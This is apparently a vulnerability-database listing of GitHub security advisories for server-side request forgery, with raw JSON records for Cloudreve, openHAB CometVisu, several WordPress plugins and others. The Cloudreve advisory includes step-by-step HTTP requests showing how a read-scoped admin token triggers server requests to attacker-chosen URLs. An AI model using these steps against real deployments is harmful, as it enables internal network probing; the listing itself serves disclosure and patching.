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Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5695 vulnerabilities reference this CWE, most recent first.

GHSA-V6W6-358X-2433

Vulnerability from github – Published: 2026-07-24 21:50 – Updated: 2026-07-24 21:50
VLAI
Summary
Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests
Details

Summary

Cloudreve exposes two admin node test endpoints under the Admin.Read OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for Admin.Read to trigger operational network actions that should require Admin.Write.

Impact

An attacker who obtains an admin-authorized OAuth token with Admin.Read but not Admin.Write can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.

Affected version

Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.

Technical details

The authenticated admin route group requires only Admin.Read:

auth := v4.Group("")
auth.Use(middleware.LoginRequired())
auth.Use(middleware.RequiredScopes(types.ScopeAdminRead))
admin := auth.Group("admin", middleware.IsAdmin())

The following routes are registered without ScopeAdminWrite:

node.POST("test",
    controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),
    controllers.AdminTestSlave,
)
node.POST("test/downloader",
    controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),
    controllers.AdminTestDownloader,
)

By contrast, node create, update, and delete routes do require Admin.Write:

node.PUT("", middleware.RequiredScopes(types.ScopeAdminWrite), ...)
node.PUT(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...)
node.DELETE(":id", middleware.RequiredScopes(types.ScopeAdminWrite), ...)

TestNodeService.Test() parses the attacker-supplied node server and sends a request to it:

slave, err := url.Parse(service.Node.Server)
...
res, err := r.Request(
    "POST",
    routes.SlavePingRoute(slave),
    bytes.NewReader(bodyByte),
    ...
)

TestNodeDownloaderService.Test() constructs a downloader from attacker-supplied node settings and invokes its network test method.

Reproduction

The following was verified against a disposable Cloudreve instance built from the affected commit.

Prerequisite: an admin user authorizes an OAuth client with Admin.Read but not Admin.Write.

  1. Obtain an OAuth access token whose scope is only:
openid Admin.Read

The returned token response contains:

{
  "token_type": "Bearer",
  "scope": "openid Admin.Read"
}
  1. Confirm the token cannot perform an Admin.Write node operation:
PUT /api/v4/admin/node HTTP/1.1
Authorization: Bearer <admin-read-oauth-token>
Content-Type: application/json

{
  "node": {
    "name": "deny-control",
    "server": "http://127.0.0.1:18080",
    "type": "slave",
    "slave_key": "poc"
  }
}

Observed response:

{
  "code": 40089,
  "msg": "Insufficient scope: Admin.Write"
}
  1. Use the same Admin.Read-only OAuth token to call the node test endpoint with an attacker-controlled server URL:
POST /api/v4/admin/node/test HTTP/1.1
Authorization: Bearer <admin-read-oauth-token>
Content-Type: application/json

{
  "node": {
    "id": 124,
    "name": "ssrf-poc",
    "server": "http://127.0.0.1:18080",
    "type": "slave",
    "slave_key": "attacker-controlled-key"
  }
}

Observed Cloudreve response:

{
  "code": 0,
  "msg": ""
}
  1. The canary server at 127.0.0.1:18080 received the backend request:
POST /api/v4/slave/ping HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Cloudreve/4.14.0
Authorization: Bearer Cr <hmac-signature>:<timestamp>
X-Cr-Node-Id: 124
X-Cr-Site-Url: http://127.0.0.1:15212
Content-Length: 37

{"callback":"http://127.0.0.1:15212"}

This proves the Admin.Read-only OAuth token is denied on a sibling Admin.Write route but can still trigger a server-side request to an attacker-selected node URL through the test route.

Root cause

The route group enforces Admin.Read by default and relies on per-route Admin.Write middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the Admin.Write set even though they execute server-side network actions using attacker-supplied configuration.

Remediation

  • Add middleware.RequiredScopes(types.ScopeAdminWrite) to both node test routes.
  • Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.
  • Audit other admin test endpoints for read-scoped side effects.
Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0-20260626022735-332a9d800205"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.0-20250225100611-da4e44b77af4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:50:23Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nCloudreve exposes two admin node test endpoints under the `Admin.Read` OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for `Admin.Read` to trigger operational network actions that should require `Admin.Write`.\n\n## Impact\n\nAn attacker who obtains an admin-authorized OAuth token with `Admin.Read` but not `Admin.Write` can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.\n\n## Affected version\n\nVerified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`.\n\n## Technical details\n\nThe authenticated admin route group requires only `Admin.Read`:\n\n```go\nauth := v4.Group(\"\")\nauth.Use(middleware.LoginRequired())\nauth.Use(middleware.RequiredScopes(types.ScopeAdminRead))\nadmin := auth.Group(\"admin\", middleware.IsAdmin())\n```\n\nThe following routes are registered without `ScopeAdminWrite`:\n\n```go\nnode.POST(\"test\",\n    controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),\n    controllers.AdminTestSlave,\n)\nnode.POST(\"test/downloader\",\n    controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),\n    controllers.AdminTestDownloader,\n)\n```\n\nBy contrast, node create, update, and delete routes do require `Admin.Write`:\n\n```go\nnode.PUT(\"\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.PUT(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.DELETE(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\n```\n\n`TestNodeService.Test()` parses the attacker-supplied node server and sends a request to it:\n\n```go\nslave, err := url.Parse(service.Node.Server)\n...\nres, err := r.Request(\n    \"POST\",\n    routes.SlavePingRoute(slave),\n    bytes.NewReader(bodyByte),\n    ...\n)\n```\n\n`TestNodeDownloaderService.Test()` constructs a downloader from attacker-supplied node settings and invokes its network test method.\n\n## Reproduction\n\nThe following was verified against a disposable Cloudreve instance built from the affected commit.\n\nPrerequisite: an admin user authorizes an OAuth client with `Admin.Read` but not `Admin.Write`.\n\n1. Obtain an OAuth access token whose scope is only:\n\n```text\nopenid Admin.Read\n```\n\nThe returned token response contains:\n\n```json\n{\n  \"token_type\": \"Bearer\",\n  \"scope\": \"openid Admin.Read\"\n}\n```\n\n2. Confirm the token cannot perform an `Admin.Write` node operation:\n\n```http\nPUT /api/v4/admin/node HTTP/1.1\nAuthorization: Bearer \u003cadmin-read-oauth-token\u003e\nContent-Type: application/json\n\n{\n  \"node\": {\n    \"name\": \"deny-control\",\n    \"server\": \"http://127.0.0.1:18080\",\n    \"type\": \"slave\",\n    \"slave_key\": \"poc\"\n  }\n}\n```\n\nObserved response:\n\n```json\n{\n  \"code\": 40089,\n  \"msg\": \"Insufficient scope: Admin.Write\"\n}\n```\n\n3. Use the same `Admin.Read`-only OAuth token to call the node test endpoint with an attacker-controlled server URL:\n\n```http\nPOST /api/v4/admin/node/test HTTP/1.1\nAuthorization: Bearer \u003cadmin-read-oauth-token\u003e\nContent-Type: application/json\n\n{\n  \"node\": {\n    \"id\": 124,\n    \"name\": \"ssrf-poc\",\n    \"server\": \"http://127.0.0.1:18080\",\n    \"type\": \"slave\",\n    \"slave_key\": \"attacker-controlled-key\"\n  }\n}\n```\n\nObserved Cloudreve response:\n\n```json\n{\n  \"code\": 0,\n  \"msg\": \"\"\n}\n```\n\n4. The canary server at `127.0.0.1:18080` received the backend request:\n\n```http\nPOST /api/v4/slave/ping HTTP/1.1\nHost: 127.0.0.1:18080\nUser-Agent: Cloudreve/4.14.0\nAuthorization: Bearer Cr \u003chmac-signature\u003e:\u003ctimestamp\u003e\nX-Cr-Node-Id: 124\nX-Cr-Site-Url: http://127.0.0.1:15212\nContent-Length: 37\n\n{\"callback\":\"http://127.0.0.1:15212\"}\n```\n\nThis proves the `Admin.Read`-only OAuth token is denied on a sibling `Admin.Write` route but can still trigger a server-side request to an attacker-selected node URL through the test route.\n\n## Root cause\n\nThe route group enforces `Admin.Read` by default and relies on per-route `Admin.Write` middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the `Admin.Write` set even though they execute server-side network actions using attacker-supplied configuration.\n\n## Remediation\n\n- Add `middleware.RequiredScopes(types.ScopeAdminWrite)` to both node test routes.\n- Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.\n- Audit other admin test endpoints for read-scoped side effects.",
  "id": "GHSA-v6w6-358x-2433",
  "modified": "2026-07-24T21:50:24Z",
  "published": "2026-07-24T21:50:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-v6w6-358x-2433"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/commit/332a9d800205082a2469e555fd66a63f18d9d5dc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cloudreve/cloudreve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/releases/tag/4.17.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests"
}

GHSA-V73R-F3CX-PM99

Vulnerability from github – Published: 2023-12-16 12:30 – Updated: 2023-12-16 12:30
VLAI
Details

A vulnerability classified as critical has been found in kalcaddle KodExplorer up to 4.51.03. Affected is an unknown function of the file plugins/webodf/app.php. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.52.01 is able to address this issue. The name of the patch is 5cf233f7556b442100cf67b5e92d57ceabb126c6. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-248220.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-6852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-16T12:15:07Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical has been found in kalcaddle KodExplorer up to 4.51.03. Affected is an unknown function of the file plugins/webodf/app.php. The manipulation leads to server-side request forgery. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.52.01 is able to address this issue. The name of the patch is 5cf233f7556b442100cf67b5e92d57ceabb126c6. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-248220.",
  "id": "GHSA-v73r-f3cx-pm99",
  "modified": "2023-12-16T12:30:16Z",
  "published": "2023-12-16T12:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6852"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kalcaddle/KodExplorer/commit/5cf233f7556b442100cf67b5e92d57ceabb126c6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kalcaddle/KodExplorer/releases/tag/4.52.01"
    },
    {
      "type": "WEB",
      "url": "https://note.zhaoj.in/share/P6lQNyqQn3zY"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.248220"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.248220"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V746-9WXC-9RC8

Vulnerability from github – Published: 2025-05-07 15:31 – Updated: 2026-04-01 18:35
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in solacewp Solace Extra allows Server Side Request Forgery. This issue affects Solace Extra: from n/a through 1.3.1.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-47464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-07T15:16:00Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in solacewp Solace Extra allows Server Side Request Forgery. This issue affects Solace Extra: from n/a through 1.3.1.",
  "id": "GHSA-v746-9wxc-9rc8",
  "modified": "2026-04-01T18:35:01Z",
  "published": "2025-05-07T15:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47464"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/solace-extra/vulnerability/wordpress-solace-extra-1-3-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V77M-X7VQ-CW6F

Vulnerability from github – Published: 2025-03-03 06:30 – Updated: 2025-03-03 06:30
VLAI
Details

A vulnerability classified as critical was found in zj1983 zz up to 2024-8. Affected by this vulnerability is an unknown functionality of the file /import_data_todb. The manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-1849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-03T04:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical was found in zj1983 zz up to 2024-8. Affected by this vulnerability is an unknown functionality of the file /import_data_todb. The manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-v77m-x7vq-cw6f",
  "modified": "2025-03-03T06:30:34Z",
  "published": "2025-03-03T06:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1849"
    },
    {
      "type": "WEB",
      "url": "https://github.com/caigo8/CVE-md/blob/main/zz/zz_import_data_todb_SSRF.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.298117"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.298117"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.505346"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-V78R-CHCJ-PP8V

Vulnerability from github – Published: 2024-07-22 12:30 – Updated: 2024-07-22 12:30
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Berqier Ltd BerqWP.This issue affects BerqWP: from n/a through 1.7.5.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-37942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-22T11:15:02Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Berqier Ltd BerqWP.This issue affects BerqWP: from n/a through 1.7.5.",
  "id": "GHSA-v78r-chcj-pp8v",
  "modified": "2024-07-22T12:30:37Z",
  "published": "2024-07-22T12:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37942"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/searchpro/wordpress-berqwp-plugin-1-7-5-unauthenticated-non-blind-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V79F-2PH6-GVM9

Vulnerability from github – Published: 2026-04-27 00:30 – Updated: 2026-04-27 00:30
VLAI
Details

A vulnerability has been found in BidingCC BuildingAI up to 26.0.1. Impacted is the function uploadRemoteFile of the file packages/core/src/modules/upload/services/file-storage.service.ts of the component Remote Upload API. The manipulation of the argument url leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-7065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-27T00:16:20Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been found in BidingCC BuildingAI up to 26.0.1. Impacted is the function uploadRemoteFile of the file packages/core/src/modules/upload/services/file-storage.service.ts of the component Remote Upload API. The manipulation of the argument url leads to server-side request forgery. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-v79f-2ph6-gvm9",
  "modified": "2026-04-27T00:30:27Z",
  "published": "2026-04-27T00:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7065"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BidingCC/BuildingAI/issues/110"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BidingCC/BuildingAI"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/798621"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359640"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/359640/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-V7GR-MQPJ-WWH3

Vulnerability from github – Published: 2024-08-09 18:21 – Updated: 2026-08-05 15:01
VLAI
Summary
CometVisu Backend for openHAB affected by SSRF/XSS
Details

The proxy endpoint of openHAB's CometVisu add-on can be accessed without authentication. This proxy-feature can be exploited as Server-Side Request Forgery (SSRF) to induce GET HTTP requests to internal-only servers, in case openHAB is exposed in a non-private network.

Furthermore, this proxy-feature can also be exploited as a Cross-Site Scripting (XSS) vulnerability, as an attacker is able to re-route a request to their server and return a page with malicious JavaScript code. Since the browser receives this data directly from the openHAB CometVisu UI, this JavaScript code will be executed with the origin of the CometVisu UI. This allows an attacker to exploit call endpoints on an openHAB server even if the openHAB server is located in a private network. (e.g. by sending an openHAB admin a link that proxies malicious JavaScript.)

This vulnerability was discovered with the help of CodeQL's Server-side request forgery query.

Impact

This issue may lead up to Remote Code Execution (RCE) when chained with other vulnerabilities (see: GHSL-2024-007).

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
7.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.openhab.ui.bundles:org.openhab.ui.cometvisu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0.M4"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-42467"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-09T18:21:07Z",
    "nvd_published_at": "2024-08-12T13:38:34Z",
    "severity": "HIGH"
  },
  "details": "The [proxy endpoint](https://github.com/openhab/openhab-webui/blob/1c03c60f84388b9d7da0231df2d4ebb1e17d3fcf/bundles/org.openhab.ui.cometvisu/src/main/java/org/openhab/ui/cometvisu/internal/backend/rest/ProxyResource.java#L83) of openHAB\u0027s CometVisu add-on can be accessed without authentication. This proxy-feature can be exploited as Server-Side Request Forgery (SSRF) to induce GET HTTP requests to internal-only servers, in case openHAB is exposed in a non-private network.\n\nFurthermore, this proxy-feature can also be exploited as a Cross-Site Scripting (XSS) vulnerability, as an attacker is able to re-route a request to their server and return a page with malicious JavaScript code. Since the browser receives this data directly from the openHAB CometVisu UI, this JavaScript code will be executed with the origin of the CometVisu UI. This allows an attacker to exploit call endpoints on an openHAB server even if the openHAB server is located in a private network. (e.g. by sending an openHAB admin a link that proxies malicious JavaScript.)\n\nThis vulnerability was discovered with the help of CodeQL\u0027s [Server-side request forgery](https://codeql.github.com/codeql-query-help/java/java-ssrf/) query.\n\n## Impact\n\nThis issue may lead up to Remote Code Execution (RCE) when chained with other vulnerabilities (see: GHSL-2024-007).",
  "id": "GHSA-v7gr-mqpj-wwh3",
  "modified": "2026-08-05T15:01:27Z",
  "published": "2024-08-09T18:21:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openhab/openhab-webui/security/advisories/GHSA-v7gr-mqpj-wwh3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42467"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openhab/openhab-webui/commit/531dabfa8311a50d2e740bf4f2b4f2400e78646c#diff-b9a920cefe5f9b2ee3615cb29f88bcad0535012c2ae2535bd12e47d6d9395b6a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openhab/openhab-webui/commit/630e8525835c698cf58856aa43782d92b18087f2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openhab/openhab-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openhab/openhab-webui/blob/1c03c60f84388b9d7da0231df2d4ebb1e17d3fcf/bundles/org.openhab.ui.cometvisu/src/main/java/org/openhab/ui/cometvisu/internal/backend/rest/ProxyResource.java#L83"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CometVisu Backend for openHAB affected by SSRF/XSS"
}

GHSA-V7Q5-M92R-6WC2

Vulnerability from github – Published: 2023-08-01 15:30 – Updated: 2024-04-04 06:28
VLAI
Details

rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_a parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2023-39109"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-01T14:15:10Z",
    "severity": "HIGH"
  },
  "details": "rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_a parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.",
  "id": "GHSA-v7q5-m92r-6wc2",
  "modified": "2024-04-04T06:28:15Z",
  "published": "2023-08-01T15:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39109"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zer0yu/CVE_Request/blob/master/rConfig/rConfig_path_a.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V7V5-H6RX-G9VQ

Vulnerability from github – Published: 2026-08-21 12:30 – Updated: 2026-08-21 12:30
VLAI
Details

The Eventin WordPress plugin before 4.1.21 does not validate a user-supplied webhook URL stored on events nor verify event ownership, allowing users with contributor-level access and above to trigger blind server-side requests to arbitrary hosts.

Severity
2.7 (Low)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-13176"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-21T12:16:22Z",
    "severity": "LOW"
  },
  "details": "The Eventin WordPress plugin before 4.1.21 does not validate a user-supplied webhook URL stored on events nor verify event ownership, allowing users with contributor-level access and above to trigger blind server-side requests to arbitrary hosts.",
  "id": "GHSA-v7v5-h6rx-g9vq",
  "modified": "2026-08-21T12:30:33Z",
  "published": "2026-08-21T12:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13176"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/41bd0919-6ed3-4280-9657-8114c1b2a0e7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V82V-RQ72-PHQ9

Vulnerability from github – Published: 2022-01-26 22:13 – Updated: 2022-01-31 22:00
VLAI
Summary
Server side request forgery in @isomorphic-git/cors-proxy
Details

The package @isomorphic-git/cors-proxy before 2.7.1 is vulnerable to Server-side Request Forgery (SSRF) due to missing sanitization and validation of the redirection action in middleware.js.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@isomorphic-git/cors-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23664"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-24T22:53:26Z",
    "nvd_published_at": "2022-01-21T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "The package @isomorphic-git/cors-proxy before 2.7.1 is vulnerable to Server-side Request Forgery (SSRF) due to missing sanitization and validation of the redirection action in middleware.js.",
  "id": "GHSA-v82v-rq72-phq9",
  "modified": "2022-01-31T22:00:02Z",
  "published": "2022-01-26T22:13:05Z",
  "references": [
    {
      "type": "ADVISORY",
